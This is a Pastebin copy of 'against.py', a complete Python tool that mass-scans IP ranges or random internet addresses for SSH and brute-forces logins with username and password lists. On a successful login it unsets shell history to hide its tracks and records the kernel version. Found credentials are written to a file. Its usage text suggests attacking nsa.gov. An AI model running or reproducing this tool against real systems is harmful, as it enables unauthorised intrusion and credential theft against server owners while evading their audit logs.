Advertisement
opexxx

against.py

May 15th, 2014
259
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 15.20 KB | None | 0 0
  1. #!/usr/bin/env python
  2. # -*- coding: latin-1 -*- ######################################################
  3. #                ____                     _ __                                 #
  4. #     ___  __ __/ / /__ ___ ______ ______(_) /___ __                           #
  5. #    / _ \/ // / / (_-</ -_) __/ // / __/ / __/ // /                           #
  6. #   /_//_/\_,_/_/_/___/\__/\__/\_,_/_/ /_/\__/\_, /                            #
  7. #                                            /___/ team                        #
  8. #                                                                              #
  9. # against.py - mass scanning and brute-forcing script for ssh                  #
  10. #                                                                              #
  11. # FILE                                                                         #
  12. # against.py                                                                   #
  13. #                                                                              #
  14. # DATE                                                                         #
  15. # 2014-02-27                                                                   #
  16. #                                                                              #
  17. # DESCRIPTION                                                                  #
  18. # 'against.py' is a very fast ssh attacking script which includes a            #
  19. # multithreaded port scanning module (tcp connect) for discovering possible    #
  20. # targets and a multithreaded brute-forcing module which attacks               #
  21. # parallel all discovered hosts or given ip addresses from a list.             #
  22. #                                                                              #
  23. # AUTHOR                                                                       #
  24. # pgt - http://www.nullsecurity.net/                                           #
  25. #                                                                              #
  26. # TODO                                                                         #
  27. # - keyboard-interactive handler                                               #
  28. # - scan ip address ranges randomly                                            #
  29. #                                                                              #
  30. # CHANGELOG                                                                    #
  31. # v0.2                                                                         #
  32. # - prints kernel version after login                                          #
  33. # - optimized timings when cracking                                            #
  34. # - detection for key authentication                                           #
  35. # - false positive / small honeypot detection                                  #
  36. # - save found target ip addresses to file, -O option                          #
  37. # - 127.x.x.x will be excluded when scanning for random ip addresses           #
  38. # - unsort found target ip addresses, because of sequential port scanning      #
  39. # - resolve ip address by given hostname                                       #
  40. # - stop attacks on target when keyboard-interactive is required               #
  41. # - set threads for port scanning, -s option                                   #
  42. #                                                                              #
  43. ################################################################################
  44.  
  45.  
  46. from socket import *
  47. import multiprocessing
  48. import threading
  49. import time
  50. import paramiko
  51. import sys
  52. import os
  53. import logging
  54. import argparse
  55. import random
  56. import re
  57.  
  58.  
  59. # version of against.py
  60. VERSION = 'v0.2'
  61.  
  62.  
  63. # print our nice banner ;)
  64. def banner():
  65.     print '--==[ against.py by pgt@nullsecurity.net ]==--'
  66.  
  67. # print version
  68. def version():
  69.     print '[+] against.py %s' % (VERSION)
  70.     sys.exit(0)
  71.  
  72. # check if we can write to file
  73. def test_file(filename):
  74.     try:
  75.         outfile = open(filename, 'a')
  76.         outfile.close()
  77.     except IOError:
  78.         print '[!] ERROR: cannot write to file \'%s\'' % filename
  79.         sys.exit(1)
  80.  
  81. # define command line parameters and help page
  82. def argspage():
  83.     parser = argparse.ArgumentParser(
  84.     usage = '\n\n   ./%(prog)s -i <arg> | -r <arg> | -I <arg>',
  85.     formatter_class = argparse.RawDescriptionHelpFormatter,
  86.     epilog =
  87.     'examples:\n\n'
  88.  
  89.     '  attack single target\n'
  90.     '  usage: ./%(prog)s -i nsa.gov -L passwords.txt\n\n'
  91.  
  92.     '  scanning and attacking an ip-range\n'
  93.     '  usage: ./%(prog)s -i 192.168.0-10.1-254 -u admin -l troll -s 500',
  94.     add_help = False
  95.     )
  96.  
  97.     options = parser.add_argument_group('options', '')
  98.     options.add_argument('-i', default=False, metavar='<ip/range>',
  99.             help='ip address/ip range/domain (e.g.: 192.168.0-3.1-254)')
  100.     options.add_argument('-I', default=False, metavar='<file>',
  101.             help='list of targets')
  102.     options.add_argument('-r', default=False, metavar='<num>',
  103.             help='attack random hosts')
  104.     options.add_argument('-p', default=22, metavar='<num>',
  105.             help='port number of sshd (default: 22)')
  106.     options.add_argument('-t', default=4, metavar='<num>',
  107.             help='threads per host (default: 4)')
  108.     options.add_argument('-f', default=8, metavar='<num>',
  109.             help='attack max hosts parallel (default: 8)')
  110.     options.add_argument('-u', default='root', metavar='<username>',
  111.             help='single username (default: root)')
  112.     options.add_argument('-U', default=False, metavar='<file>',
  113.             help='list of usernames')
  114.     options.add_argument('-l', default='toor', metavar='<password>',
  115.             help='single password (default: toor)')
  116.     options.add_argument('-L', default=False, metavar='<file>',
  117.             help='list of passwords')
  118.     options.add_argument('-o', default=False, metavar='<file>',
  119.             help='write found logins to file')
  120.     options.add_argument('-O', default=False, metavar='<file>',
  121.             help='write found target ip addresses to file')
  122.     options.add_argument('-s', default=200, metavar='<num>',
  123.             help='threads when port scanning (default: 200)')
  124.     options.add_argument('-T', default=3, metavar='<sec>',
  125.             help='timeout in seconds (default: 3)')
  126.     options.add_argument('-V', action='store_true',
  127.             help='print version of against.py and exit')
  128.  
  129.     args = parser.parse_args()
  130.  
  131.     if args.V:
  132.         version()
  133.  
  134.     if (args.i == False) and (args.I == False) and (args.r == False):
  135.         print ''
  136.         parser.print_help()
  137.         sys.exit(0)
  138.  
  139.     return args
  140.  
  141. # write found ip addresses / logins to file
  142. def write_to_file(filename, text):
  143.     outfile = open(filename, 'a')
  144.     outfile.write(text)
  145.     outfile.close()
  146.  
  147. # connect to target and checks for an open port
  148. def scan(target, port, timeout, oips):
  149.     sock = socket(AF_INET, SOCK_STREAM)
  150.     sock.settimeout(timeout)
  151.     result = sock.connect_ex((target, port))
  152.     sock.close()
  153.     if result == 0:
  154.         HOSTLIST.append(target)
  155.         if oips:
  156.             write_to_file(oips, target + '\n')
  157.  
  158. # control the maximum number of threads
  159. def active_threads(threads, waittime):
  160.     while threading.activeCount() > threads:
  161.         time.sleep(waittime)
  162.  
  163. # create thread and call scan()
  164. def thread_scan(args, target):
  165.     port = int(args.p)
  166.     timeout = float(args.T)
  167.     oips = args.O
  168.     threads = int(args.s)
  169.  
  170.     bam = threading.Thread(target=scan, args=(target, port, timeout, oips))
  171.     bam.start()
  172.  
  173.     active_threads(threads, 0.0001)
  174.     time.sleep(0.001)
  175.  
  176. # only the output when scanning for targets
  177. def scan_output(i):
  178.     sys.stdout.flush()
  179.     sys.stdout.write('\r[*] hosts scanned: {0} | ' \
  180.             'possible to attack: {1}'.format(i, len(HOSTLIST)))
  181.  
  182. # handle format of given target(s)
  183. def check_targets(targets):
  184.     if re.match(r'^[0-9.\-]*$', targets):
  185.         return targets
  186.     try:
  187.         target = gethostbyname(targets)
  188.         return target
  189.     except gaierror:
  190.         print '[-] \'%s\' is unreachable' % (targets)
  191.         finished()
  192.         sys.exit(1)
  193.  
  194. # unsort found hosts, because of incremental scanning
  195. def unsort_hostlist():
  196.     print '[*] unsort host list'
  197.     for i in range(15):
  198.         random.shuffle(HOSTLIST)
  199.  
  200. # handle ip range format from command line
  201. def handle_ip_range(iprange):
  202.     parted = tuple(part for part in iprange.split('.'))
  203.  
  204.     rsa = range(4)
  205.     rsb = range(4)
  206.     for i in range(4):
  207.         hyphen = parted[i].find('-')
  208.         if hyphen != -1:
  209.             rsa[i] = int(parted[i][:hyphen])
  210.             rsb[i] = int(parted[i][1+hyphen:]) + 1
  211.         else:
  212.             rsa[i] = int(parted[i])
  213.             rsb[i] = int(parted[i]) + 1
  214.  
  215.     return (rsa, rsb)
  216.  
  217. # call thread_scan() with target ip addresses
  218. def ip_range(args):
  219.     targets = check_targets(args.i)
  220.     rsa, rsb = handle_ip_range(targets)
  221.  
  222.     print '[*] scanning %s for ssh services' % targets
  223.     counter = 0
  224.     for i in range(rsa[0], rsb[0]):
  225.         for j in range(rsa[1], rsb[1]):
  226.             for k in range(rsa[2], rsb[2]):
  227.                 for l in range(rsa[3], rsb[3]):
  228.                     target = '%d.%d.%d.%d' % (i, j, k, l)
  229.                     counter += 1
  230.                     scan_output(counter)
  231.                     thread_scan(args, target)
  232.  
  233.     # waiting for the last running threads
  234.     active_threads(1, 0.1)
  235.  
  236.     scan_output(counter)
  237.     print '\n[*] finished scan'
  238.  
  239. # create ip addresses
  240. def randip():
  241.     rand = range(4)
  242.     for i in range(4):
  243.         rand[i] = random.randrange(0, 256)
  244.  
  245.     # exclude 127.x.x.x
  246.     if rand[0] == 127:
  247.         randip()
  248.  
  249.     ipadd = '%d.%d.%d.%d' % (rand[0], rand[1], rand[2], rand[3])
  250.     return ipadd
  251.  
  252. # create random ip addresses
  253. def rand_ip(args):
  254.     i = 0
  255.     print '[*] scanning random ips for ssh services'
  256.     while len(HOSTLIST) < int(args.r):
  257.         i += 1
  258.         scan_output(i)
  259.         thread_scan(args, randip())
  260.  
  261.     # waiting for the last running threads
  262.     active_threads(1, 1)
  263.  
  264.     scan_output(i)
  265.     print '\n[*] finished scan.'
  266.  
  267. # checks if given filename by parameter exists
  268. def file_exists(filename):
  269.     try:
  270.         open(filename).readlines()
  271.     except IOError:
  272.         print '[!] ERROR: cannot open file \'%s\'' % filename
  273.         sys.exit(1)
  274.  
  275. # read-in a file with ip addresses
  276. def ip_list(ipfile):
  277.     file_exists(ipfile)
  278.     targets = open(ipfile).readlines()
  279.     for target in targets:
  280.         HOSTLIST.append(target)
  281.  
  282. # connect to target and try to login
  283. def crack(target, port, user, passwd, outfile, timeo, i):
  284.     ssh = paramiko.SSHClient()
  285.     ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  286.     user = user.replace('\n', '')
  287.     passwd = passwd.replace('\n', '')
  288.     try:
  289.         ssh.connect(target, port=port, username=user, password=passwd,
  290.                 timeout=timeo, pkey=None, allow_agent=False)
  291.         time.sleep(3)
  292.         try:
  293.             ssh.exec_command('unset HISTFILE ; unset HISTSIZE')
  294.             time.sleep(1)
  295.             ssh_stdin, ssh_stdout, ssh_stderr = ssh.exec_command('uname -a ' \
  296.                     '|| cat /proc/version')
  297.             output = 'kernel: %s' \
  298.                     % (ssh_stdout.readlines()[0].replace('\n', ''))
  299.         except:
  300.             output = 'info: maybe a honeypot or false positive'
  301.         login = '[+] login found for %s | %s:%s\n' \
  302.                 '[!] %s' % (target, user, passwd, output)
  303.         print login
  304.         if outfile:
  305.             write_to_file(outfile, login + '\n')
  306.         ssh.close()
  307.         os._exit(0)
  308.     except paramiko.AuthenticationException, e:
  309.         ssh.close()
  310.         exception = str(e)
  311.         if '[\'publickey\']' in exception:
  312.             print '[-] key authentication only - ' \
  313.                 'stopped attack against %s' % (target)
  314.             os._exit(1)
  315.         elif '\'keyboard-interactive\'' in exception:
  316.             print '[-] %s requires \'keyboard-interactive\' handler' % (target)
  317.             os._exit(1)
  318.     except:
  319.         ssh.close()
  320.         # after 3 timeouts per request the attack against $target will stopped
  321.         if i < 3:
  322.             i += 1
  323.             # reconnect after random seconds (between 0.6 and 1.2 sec)
  324.             randtime = random.uniform(0.6, 1.2)
  325.             time.sleep(randtime)
  326.             crack(target, port, user, passwd, outfile, timeo, i)
  327.         else:
  328.             print '[-] too many timeouts - stopped attack against %s' % (target)
  329.             os._exit(1)
  330.  
  331. # create 'x' number of threads and call crack()
  332. def thread_it(target, args):
  333.     port = int(args.p)
  334.     user = args.u
  335.     userlist = args.U
  336.     password = args.l
  337.     passlist = args.L
  338.     outfile = args.o
  339.     timeout = float(args.T)
  340.     threads = int(args.t)
  341.  
  342.     if userlist:
  343.         users = open(userlist).readlines()
  344.     else:
  345.         users = [user]
  346.     if passlist:
  347.         passwords = open(passlist).readlines()
  348.     else:
  349.         passwords = [password]
  350.  
  351.     # try/except looks dirty but we need it :/
  352.     try:
  353.         for user in users:
  354.             for password in passwords:
  355.                 Run = threading.Thread(target=crack, args=(target, port, user,
  356.                     password, outfile, timeout, 0,))
  357.                 Run.start()
  358.                 # checks that we a max number of threads
  359.                 active_threads(threads, 0.01)
  360.                 time.sleep(0.1)
  361.         # waiting for the last running threads
  362.         active_threads(1, 1)
  363.     except KeyboardInterrupt:
  364.         os._exit(1)
  365.  
  366. # create 'x' child processes (child == cracking routine for only one target)
  367. def fork_it(args):
  368.     threads = int(args.t)
  369.     childs = int(args.f)
  370.     len_hosts = len(HOSTLIST)
  371.  
  372.     print '[*] attacking %d target(s)\n' \
  373.             '[*] cracking up to %d hosts parallel\n' \
  374.             '[*] threads per host: %d' % (len_hosts, childs, threads)
  375.  
  376.     i = 1
  377.     for host in HOSTLIST:
  378.         host = host.replace('\n', '')
  379.         print '[*] performing attacks against %s [%d/%d]' % (host, i, len_hosts)
  380.         hostfork = multiprocessing.Process(target=thread_it, args=(host, args))
  381.         hostfork.start()
  382.         # checks that we have a max number of childs
  383.         while len(multiprocessing.active_children()) >= childs:
  384.             time.sleep(0.001)
  385.         time.sleep(0.001)
  386.         i += 1
  387.  
  388.     # waiting for child processes
  389.     while multiprocessing.active_children():
  390.         time.sleep(1)
  391.  
  392. # \(0.o)/
  393. def empty_hostlist():
  394.     if len(HOSTLIST) == 0:
  395.         print '[-] found no targets to attack!'
  396.         finished()
  397.         sys.exit(1)
  398.  
  399. # output when against.py finished all routines
  400. def finished():
  401.     print '[*] game over!!!'
  402.  
  403. def main():
  404.     banner()
  405.     args = argspage()
  406.  
  407.     if args.U:
  408.         file_exists(args.U)
  409.     if args.L:
  410.         file_exists(args.L)
  411.     if args.o:
  412.         test_file(args.o)
  413.     if args.O:
  414.         test_file(args.O)
  415.  
  416.     if args.i:
  417.         ip_range(args)
  418.         unsort_hostlist()
  419.     elif args.I:
  420.         ip_list(args.I)
  421.     else:
  422.         rand_ip(args)
  423.  
  424.     time.sleep(0.1)
  425.     empty_hostlist()
  426.     fork_it(args)
  427.     finished()
  428.  
  429. if __name__ == '__main__':
  430.     HOSTLIST = []
  431.     try:
  432.         logging.disable(logging.CRITICAL)
  433.         main()
  434.     except KeyboardInterrupt:
  435.         print '\nbye bye!!!'
  436.         time.sleep(0.2)
  437.         os._exit(1)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement